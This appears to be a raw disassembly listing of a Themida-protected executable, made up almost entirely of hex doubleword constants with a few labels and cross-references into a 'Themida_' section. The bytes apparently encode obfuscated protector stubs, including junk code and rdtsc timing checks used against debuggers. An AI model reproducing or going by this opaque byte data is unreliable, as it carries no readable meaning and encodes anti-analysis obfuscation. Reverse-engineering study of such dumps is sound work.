5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0D7E8DAC3h, 0C27A19E9h, 0BE960h, 7E6E0000h dd 61BA9128h, 24C83D49h, 54D08110h, 612C0EB3h, 8B666050h dd 505250F7h, 5A310F52h, 0F310F58h, 81h, 61585A00h, 6A243489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0FF63C356h, 48A3B54Dh, 0BD8BE60Bh, 6481CC9h dd 0B924B5FFh, 9D31064Bh, 64809DDh, 0F625DF68h, 240481A7h dd 5828DE20h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 31C35343h, 9168AD35h, 0D9700A7Ah, 14C1BD8Bh, 858D0648h dd 64BB92Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0F3C35141h, 0B368BF00h, 0A659D89h, 57900648h, 5E9h dd 0DEF44E00h, 505B1738h, 90DF8B66h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 3DC35545h, 0B06FB12Bh, 81663E5Fh dd 0FFA95ADFh, 481C0195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0CFA3228Eh dd 5F69075Fh, 9D0BDCF1h, 648064Dh, 2F719D8Bh, 6A610648h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 6F10C356h, 93BF2959h, 661FB8B3h, 85C7D98Bh dd 6482425h, 3, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0A6C35747h, 6800Fh, 8D890000h, 6482E85h, 61606053h dd 5F615851h, 0B92CBD83h, 0F00064Bh, 3284h, 0FBB70F00h dd 0FE8h, 44AAB500h, 50FC9DBEh, 5EC271AFh, 0EC553BE8h dd 0E318D89h, 0E95B0648h, 2Ah, 0AE9h, 334DE500h, 0EB69274h dd 501930BBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0A6BE7FC3h, 4E7CD448h, 0A99D8B38h dd 83064814h, 482425BDh, 850F0306h, 392h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 9FC35141h, 3D48550Fh dd 0C8B0Fh, 880F0000h, 6, 0C413DF81h, 0BD833671h, 64BB92Ch dd 53840F00h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0D11AC352h, 8D99003Dh dd 0DDEC3B7h, 66D9B70Fh, 0FF5703BFh, 4BB92CB5h, 0C6EF8106h dd 33532ABFh, 4813D99Dh, 3595FF06h, 6A06480Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0B90CC350h, 0E61DDB45h, 38B0Fh, 0BF0F0000h, 20B58BFFh dd 6A064BB9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0C71DC355h, 1000106h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0C7A47C0Ah dd 9F7C932Bh, 0D8B70F03h, 509663B7h, 3870Fh, 8B660000h dd 6A96FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 69F911C3h, 75538129h, 39B58960h, 0FF064827h dd 4BB92CB5h, 619D8B06h, 0FF064822h, 481D5995h, 0BDBD0B06h dd 8B06480Ah, 4BB920B5h, 49858B06h, 1064810h, 48153DB5h dd 0C4868906h, 89000000h, 4806B18Dh, 19958B06h, 6A06480Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0F958C357h, 0BF04C283h, 5C392C20h, 0BF205089h dd 5DAC2399h, 68F0Fh, 9D8B0000h, 6480D71h, 0CE09858Dh dd 6A064Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 6B68C7C3h, 0DA0239Bh, 13F69A7h, 48150D85h dd 0B8868906h, 66000000h, 6AD98Bh, 0B5FFFB8Bh, 64BB92Ch dd 23E195FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9AF7EFC3h, 8188C184h, 0FD8589BCh dd 5006480Eh, 68FABF50h, 895F7C8Ah, 7E92434h, 88000000h dd 0FA3E268h, 81664489h, 0FFA206D7h, 4BB92CB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 9EB293A1h, 0DB0183F7h, 0FFDBBF0Fh, 480E2D95h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BF0F8E56h, 83D98BFAh, 481CA1BDh, 840F0006h, 19h, 2559D8Bh dd 56500648h, 235FBF66h, 2434895Fh, 9F88B66h, 482ECDB5h dd 2CB5FF06h, 6A064BB9h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 922FC353h, 7240B8EFh dd 0F59D8996h, 89064832h, 482B7195h, 1995FF06h, 89064827h dd 4830158Dh, 2CB5FF06h, 6A064BB9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0EE82C351h dd 0E7294760h, 0FF5BE66Ah, 480B4195h, 498D0906h, 83064822h dd 480CCDBDh, 840F0206h, 4Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0B2C35646h, 4A8804E5h, 483DC91Eh dd 1B95BD8Bh, 858B0648h, 6480FD5h, 13820Fh, 0EE90000h dd 25000000h, 890E7BFh, 0C168BDF7h, 4E8DE684h, 0C69Fh dd 0E6985C7h, 648h, 29520000h, 482075BDh, 0EFE95F06h, 8BFFFFF3h dd 4820599Dh, 6AC18B06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0E28FC353h, 7474FD90h dd 0D4613F2Dh, 7E9h, 0F253C800h, 5C5053E6h, 32FD858Dh dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0B58948C3h, 6482DDDh, 0D7B76090h, 61CF8B66h dd 6A9050h, 3E850h db 2 dup(0) word_584F4E dw 5820h ; DATA XREF: ___:0043683Co dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0FA788AC3h dd 2E0BF00Ah, 6AA192C1h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 34A1AEAh, 4822859Dh, 8B006A06h dd 0DD858DDEh, 6A064C83h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 84B3C352h, 0C08316F8h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0BCF6CBEAh, 0C76F1EF8h, 4890Fh, 0BF660000h dd 0F908212h, 88Bh, 8B0F5100h, 0 dd 860F505Bh, 0Ah, 5E9h, 3728F400h, 6A90F3A7h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0BE02C355h, 6A65BF33h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 7A9B3493h dd 9148591Ch, 3379DB81h, 6A55D7h, 0BDE28060h, 14F98589h dd 0FF610648h, 48277D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0CEF99C81h dd 0F263002h, 8D8DF9BFh, 64B9C14h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 9EC35141h, 830FB277h, 1, 9860FF9h dd 0F000000h, 383h, 0DE8B6600h, 0B6BBD1FFh, 8355760Eh dd 481949BDh, 850F0106h, 70h, 0AED9D2Bh, 26A0648h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 98C35646h, 0E40B160Bh dd 66605050h, 0BE66F38Bh, 5B61E798h, 6A240489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 720EC356h, 6C79EDA4h, 6800Fh, 9D8B0000h, 6481DB9h, 23E195FFh dd 0BD230648h, 6482DB1h, 0CC5E9h db 0 byte_585151 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0053E268o dd 815D0000h, 4C83E7EDh, 58F0F06h, 66000000h, 4C92EF81h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5FC35545h dd 65456B72h, 0C9D8A2ECh, 8B1BD8Bh, 858D0648h, 64B9744h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2BC35646h dd 2DADB832h, 7E84F381h, 0E85004E6h, 0Ch, 46913C1Eh, 0ABC40B36h dd 1D0C8D8Ch, 2404895Fh, 35FF64F9h, 0 dd 0D3D9589h, 89640648h, 25h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 7F33FEBDh dd 0FFF528CCh, 480A2D85h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0DB0685F3h dd 0CF58D29h, 66570648h, 6A5BF98Bh, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FC06826h dd 68Dh, 0E5BD2900h, 0FF06482Eh, 4824B5B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0B8CCEFA6h, 783C3737h, 95FFF8F8h, 6480AA5h, 0FDE9h dd 0B0F800h, 27D18D89h, 70E60648h, 0E4DE8B66h, 3CDE8B71h dd 0E3830F61h, 81000000h, 3C0B8DEFh, 0C8B60F0Bh, 0BD3DBF66h dd 6BAh, 0E3816600h, 0C18BFF19h, 818589h, 0E8C10648h, 0FEB70F04h dd 2899BD89h, 0F7660648h, 0F5BD89E2h, 0F064806h, 488h dd 0FEBB6600h, 80C82B3Eh, 0D18BF7E7h, 11E8h, 0EF563E00h dd 1D3B703Ch, 0C0475186h, 46A6A4FDh, 890F164Dh, 1, 3E95FF8h dd 0F000000h, 858BFAB7h, 64820D1h, 83FA8B66h, 0DD8A07C0h dd 3100C083h, 482CADBDh, 0FD03B06h, 1883h, 0FDB58900h dd 0FC064809h, 4DE9h, 68D0F00h, 8B000000h, 480FD9BDh, 918D8B06h dd 8906481Ah, 482051BDh, 1E18306h, 2C840Fh, 8D090000h dd 648227Dh, 1A91A583h, 8BFE0648h, 48278D9Dh, 0D1958906h dd 51064820h, 820Fh, 895B0000h, 48096DBDh, 0E906h, 0B58D0000h dd 64C09A6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0BAC35545h, 66ED778Fh, 6ADA8Bh, 27698589h, 95890648h dd 64800F9h, 306195FFh, 13E80648h, 39000000h, 0B7907C76h dd 584A4A6Ch, 0D352302Eh, 730D342Dh, 0B95B06ADh, 81Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B2C35040h dd 7AA1F224h, 35CBCBAh, 0FCE183A7h, 9FBDEF81h, 6AFC5505h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 217CC350h, 4C549212h, 46E9DA5Dh, 96F6BB60h dd 0BD8B51C7h, 6482C9Dh, 8BC02B61h, 48269DBDh dword_58545C dd 0D22BF906h, 960DF8Bh, 482A2985h, 498D2906h, 6106480Fh ; DATA XREF: Themida_:0053F148o dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 65C35747h, 0DD44DF78h, 0E9563153h dd 0Bh, 0F9E22E1Ah, 48B38B64h, 6A93BABBh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FE70C355h dd 64FE3488h, 8094C556h, 0E7F7BB66h, 880Dh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E9026216h, 0Eh, 0B891361Ch, 751DB882h, 4A15908Ah, 89F86519h dd 481B8985h, 19958B06h, 8B06480Ah, 48005D9Dh, 358D8B06h dd 8906480Fh, 48254D95h, 0C28B5006h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0ED7CC351h, 6A44E1h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 4B2013C3h, 5A09BF67h, 833B1DCEh, 4819A5BDh, 840F0006h dd 6Dh, 0B87DE780h, 0 dd 4644CBFh, 3830F4Bh, 66000000h, 8D8DFB8Bh, 6484B64h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D7C35242h dd 4C81B866h, 0F9050EF8h, 0DE9h, 51900600h, 46C0AAA9h dd 902052B7h, 0E1FFBA2Bh, 47C78166h, 0AE881h, 893F0000h dd 2D6B5A14h, 3FF77A1Ch, 0E525BB66h, 25BD835Bh, 64824h dd 395840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0FC252BC3h, 2425BD83h, 0F010648h dd 38584h, 0BD83F800h, 6482425h, 41860F03h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 7D70C356h, 1E022442h, 818529B1h, 60064806h dd 8BDBB70Fh, 482061BDh, 0D98C6606h, 0F04E180h, 0C90AD8B7h dd 144840Fh, 9D010000h, 6480B6Dh, 2385858Bh, 6A0648h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BD8B4CC3h, 6481839h, 0CE9h, 0D2D8200h, 8119AE52h, 36BAB4A3h dd 0C9853357h, 6A06482Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0EA3DC350h, 1F219D8Bh dd 0E8900648h, 14h, 944CFD58h, 243CA389h, 34342E54h, 32BCD0CAh dd 0CFB7333h, 5250505Bh, 0AE953h, 11DA0000h, 9B8E58AAh dd 6716CFE4h, 66310F5Bh, 585AD98Bh, 0BF0F5090h, 6A5FDEh dd 0AE9h, 8AEA9A00h, 37C0419Fh, 6830954Fh, 0A4A3734Bh dd 0B4240481h, 6A5B7B90h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0B6ABC352h, 195FFB5h dd 6A06481Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 9824C355h, 89FCD3D3h, 4BB92C85h dd 85896006h, 6481425h, 95B58B53h, 59064805h, 194E961h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 623A26C3h, 0DD98589h, 858B0648h, 64BB924h dd 880Fh, 0C70000h, 18h, 8BDBBF0Fh, 28B58BD9h, 6A064BB9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0A0E2C350h, 858B0A92h, 6482BF1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 54C35545h, 3D326E02h dd 0BD233B63h, 648259Dh, 12E8h, 0F23C5100h, 0B0CE3709h dd 1BF6D064h, 6DAEFE9Eh, 80E7ADFAh, 895FA8F7h, 45850106h dd 8B064810h, 48238585h, 0F5BF6606h, 44689C3h, 30A18589h dd 66500648h, 3489D88Bh, 24B5FF24h, 8B064BB9h, 481A05BDh dd 18186806h, 8B6028C5h, 615956F8h, 0E7243481h, 6A28DA1Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 113DC350h, 79C1B7CBh, 0DB805208h, 858D5FDAh dd 64BB92Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 1BC35747h, 0AA0B8CA9h, 0DE95Ah, 78390000h, 91B49083h dd 0EBFC5EAEh, 0FA59C2Dh, 683h, 75B52900h, 5006480Bh, 0F5F1BB66h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0D1F0C355h, 0B9B960BBh, 12B30BCh dd 480DBDBDh, 95FF6106h, 6481C01h, 30C9B589h, 89610648h dd 480B5D9Dh, 2585C706h, 3064824h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 2F23C352h, 2CBD835Dh, 64BB9h, 0E840Fh, 8D890000h, 6480A95h dd 1EE9h, 5FFC5300h, 110C3050h, 1114400h, 3010E8C1h, 21144h dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 89C08B00h, 481E19BDh, 10E906h, 66F70000h dd 0E9375A58h, 0F01AB8B9h, 7479257Bh, 6A6C10h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0B79C17C3h, 0CC421558h, 31B8ED3Dh, 4829E5BDh, 25BD8306h dd 3064824h, 3AA850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0FA8B02C3h, 0B92CBD83h dd 0F00064Bh, 37F84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0F51FB5D1h, 237D9C65h dd 4800519Dh, 4880F06h, 66000000h, 0FF9052BFh, 4BB92CB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0D3BD588Fh, 7BA58BA6h, 9D8B7098h, 6482B0Dh dd 8E9h, 11904600h, 577A7C80h, 3595FFBDh, 8B06480Eh, 4BB920B5h dd 0C7F1BB06h, 6C72D20h, 10001h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 64C35040h, 0F0BAC6BCh, 5FD88B57h dd 6558529h, 66960648h, 5050D88Bh, 2870F52h, 50000000h dd 0B3310F5Fh, 96585ACEh, 0FFDF8B66h, 4BB92CB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 1875FB9Ah, 0B23D7B28h, 0D59D3398h, 0FF064804h, 481D5995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8BB048A2h, 480AC19Dh, 20B58B06h, 66064BB9h dd 858BDF8Bh, 6481049h, 89FBBF0Fh, 0C486h, 5DBD8900h, 8B06480Fh dd 480A1995h, 835F5006h, 8F0F04C2h, 0Dh, 0F1B58960h, 66064825h dd 154BE881h, 20508961h, 0D88B6653h, 9858D5Bh, 8B064BCEh dd 4820F1BDh, 0B8868906h, 0F000000h, 687h, 7FC38100h, 6A5482ACh dd 299D8B00h, 0FF06482Ch, 4BB92CB5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 3F21538Dh dd 96E4B475h, 0E781B32Ch, 60CC5EB6h, 23E195FFh, 6A0648h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0DA4A5CC3h, 0DA178970h, 6820F3Bh, 89000000h, 4827659Dh dd 68A0F06h, 89000000h, 48214185h, 1BF5006h, 896F594Dh dd 0B5FF2434h, 64BB92Ch, 0A1D9589h, 95FF0648h, 6480E2Dh dd 280DB509h, 0BD830648h, 6481CA1h, 57840F00h, 89000000h dd 481D0D85h, 9E89606h, 0C0000000h, 0A24E86B0h, 80D3D7B2h dd 5252505Fh, 0EE8h, 6D712000h, 0C896E813h, 0DF81FDF7h dd 5F84F197h, 6A965F5Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 364C352h, 0AE0126Fh dd 2A21BD8Bh, 0B5FF0648h, 64BB92Ch, 0C880F60h, 0E9000000h dd 7, 0EAD3E1C2h, 8BF381C9h, 480ED185h, 95FF6106h, 6482719h dd 1FCDBD89h, 0B5FF0648h, 64BB92Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 6BC35141h, 0FFDBBF0Fh, 480B4195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 823FF813h, 4C5818C5h, 8BEB8166h, 0F59D8B78h dd 83064819h, 480CCDBDh, 840F0206h, 5Bh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B2C35545h, 209D5AFEh dd 6E2100F5h, 3D9D8B97h, 8906480Bh dd 4823699Dh, 0D5858B06h, 6006480Fh, 31E58D89h, 61FC0648h dd 0C8C0Fh, 810F0000h, 6, 30199D8Bh, 0C60648h, 1D958900h dd 0C7064828h, 480E6985h, 6, 0F6DB8000h, 0FFF462E9h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 413ACF58h, 12E9h, 84CFA200h, 295026E4h, 297440AAh, 0C9C318E6h dd 0BFCDFCE8h, 448A7913h, 858DC18Bh, 64832FDh, 21E1BD8Bh dd 9D8B0648h, 6482C95h, 0A705BB50h, 4892EA1h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8D89A19Bh, 6482F69h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 8B7852C3h, 480CD59Dh dd 36DB8006h, 8DFC006Ah, 4C920085h, 0D1BD8B06h, 83064824h dd 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 5ED61EC3h, 0F609054h, 388h, 0F88B6600h, 5061D08Bh dd 158D2990h, 57064830h, 199D2960h, 33064821h, 481FC1BDh dd 6A5F6106h, 7084BB00h, 6A7A24h, 20AD9D89h, 95FF0648h dd 648277Dh, 8D9FD780h, 4B9C148Dh, 6DDB8006h, 6AD1FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 39585BC3h, 7CF7F148h, 0C18D2903h, 8306480Fh, 481949BDh dd 850F0106h, 43h, 18810Fh, 12E80000h, 0A9000000h, 3F44B17Eh dd 5B445DFEh, 0BDD0718Dh, 0C9000D9Bh, 26A5F7Fh, 1FD58D89h dd 66900648h, 503202BFh, 0FFB8B390h, 4823E195h, 9E906h dd 0BF170000h, 9F015FF9h, 0E9C4C6BEh, 0DDBh, 0E8h, 0ED815D00h dd 64C920Ah, 0D59BD01h, 6A0648h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0FD3B10C3h, 0AFB8943Dh dd 0BB432489h, 235F13D1h, 9744858Dh, 0BF66064Bh, 66905A60h dd 6650DE8Bh, 9094BEBFh, 35FF64F5h, 0 dd 2ABD9D8Bh, 89640648h, 25h, 0FFDA8B00h, 480A2D85h, 6890F06h dd 8B000000h, 4815259Dh, 0FFFF6A06h, 4828C9B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0C2231D46h, 0C22737A8h, 8D9D8984h, 0FF06481Dh, 480AA595h dd 14AE906h, 0CE80000h, 0E9000000h, 0C302D359h, 363D97BBh dd 5F8A7CB0h, 2CE5BD8Bh, 0B00648h, 8970E6F8h, 4825D99Dh dd 0E971E406h, 0Ah, 774C86CEh, 0D8CC0F20h, 613CD843h, 10E830Fh dd 9D8B0000h, 64819E1h, 2BC8B60Fh, 4831E59Dh, 6BA06h, 0BD8B0000h dd 6481E41h, 9D23C18Bh, 6481F99h, 0B704E8C1h, 0E2F766B8h dd 0B3C82BF8h, 33D18BE9h, 4804B5BDh, 14E906h, 0FE90000h dd 97000000h, 867FAD82h, 2C7F53A3h, 0EC1B4CEAh, 858BAEF8h dd 6482331h, 26ADBD8Bh, 0C0830648h, 119D8B07h, 83064800h dd 0DE900C0h, 3D000000h, 20241831h, 75AEB672h, 54F2C95Dh dd 830FD03Bh, 2Ah, 19C59589h, 81E90648h, 0E8000000h, 13h dd 69C1C76Ah, 0CB929381h, 99DD5ABEh, 0D7F63480h, 81094577h dd 0ED8504EBh, 8D8B5B4Eh, 6481FFDh, 0C7EB8166h, 1E183E6h dd 4E840Fh, 14E90000h, 0B8000000h, 32967240h, 3DDAC975h dd 0B5F35F1Bh, 59FF0FE9h, 835D0A19h, 481FFDA5h, 14E8FE06h dd 0B2000000h, 208FAD52h, 0A1B2FCB7h, 0E0B491BAh, 9F4C2E9Ch dd 806A4213h, 895F14E3h, 48233195h, 0DDB58906h, 0E9064832h dd 0 dd 13C7B58Dh, 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0A7459DC3h, 0EAB36D11h, 2DBD8929h dd 6A06481Bh, 0C7816600h, 95FF9C0Fh, 6483061h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BC35040h, 0ECF8CA4Ch dd 0CFB923C7h, 66000008h, 6C3BD381h, 6AFCE183h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 8ACDC352h, 0D11621D8h, 6AFC4D21h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0CE0C355h dd 423245E6h, 80B6BF13h, 0B86A2Bh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0FC04C355h, 0BAF993C9h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0EDC35545h dd 89B649F8h, 4804E995h, 0C233AD06h, 0D003E8D1h, 7504E983h dd 0D19D8BF4h, 81064831h, 4FAA5CE7h, 51006A64h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 4D535969h dd 0ED9637C1h, 2AB99D89h, 880D0648h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 9B11C357h, 0F40F5861h, 8B0Fh, 958B0000h, 6480A19h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0FAC35747h, 0D3D8589h dd 8D8B0648h, 6480F35h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 18C35747h, 0C6D21F5Ch, 5781BEE0h, 18919D8Bh dd 8B5F0648h, 4810F19Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 0E858188Bh, 5 dword_58635C dd 0EE3478F4h, 41952922h, 5B06482Eh, 27919D89h, 9D2B0648h ; DATA XREF: Themida_:0053F500o dd 648245Dh, 19A5BD83h, 0F000648h, 8C84h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 6C27F118h, 5A33EB9Ah, 0B8B2B7B0h, 0 dd 6890Fh, 0BD230000h, 64814C9h, 4B648D8Dh, 6A0648h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 891135C3h, 481E71B5h, 0F88B6606h, 6AE1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 377BAAC3h dd 41B011A0h, 53B2DBFh, 25BD835Fh, 64824h, 44D840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0BFE983C3h, 21226B9Fh, 2425BD83h, 0F010648h, 43984h dd 25BD8300h, 3064824h, 3F6860Fh, 95890000h, 6481DDDh dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 161AAE15h, 0E8A7BD84h, 0Bh, 283A045Fh, 0E6AA9F0Dh dd 8B80AE1Bh, 0DA8B5BF8h, 6AD98C66h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 410AC351h dd 156D0B05h, 6A04E180h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0B641C355h, 934CE2F3h dd 24C18589h, 0C90A0648h, 11A840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 2D0011C3h dd 858BA813h, 6482385h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 2CC35646h, 5665C78Eh, 2CC42E64h, 9D8BF8B9h dd 64805EDh, 2AC98533h, 0BD290648h, 6482AE1h, 2C858D89h dd 66500648h, 893028BBh, 10E92404h, 0D2000000h, 6D0468DAh dd 0E95620E8h, 9CDF80AAh, 8B818CFFh, 480C49BDh, 0F006A06h dd 680h, 85B58900h, 8906480Dh, 482EF59Dh, 4E806h, 3FF0000h dd 8B66001Fh, 8B6650F8h, 24448BF8h, 66008B04h, 4489F98Bh dd 0D88A0424h, 0FF4AB758h, 481C0195h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0B6ACA96h, 0FC87ECB8h, 0B92C8589h, 0FB8B064Bh, 1D1E9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 90C7532Bh, 8D09A328h, 64830E1h, 0B924858Bh dd 0C7064Bh, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 8CC35747h, 4471D985h, 0FE97Fh, 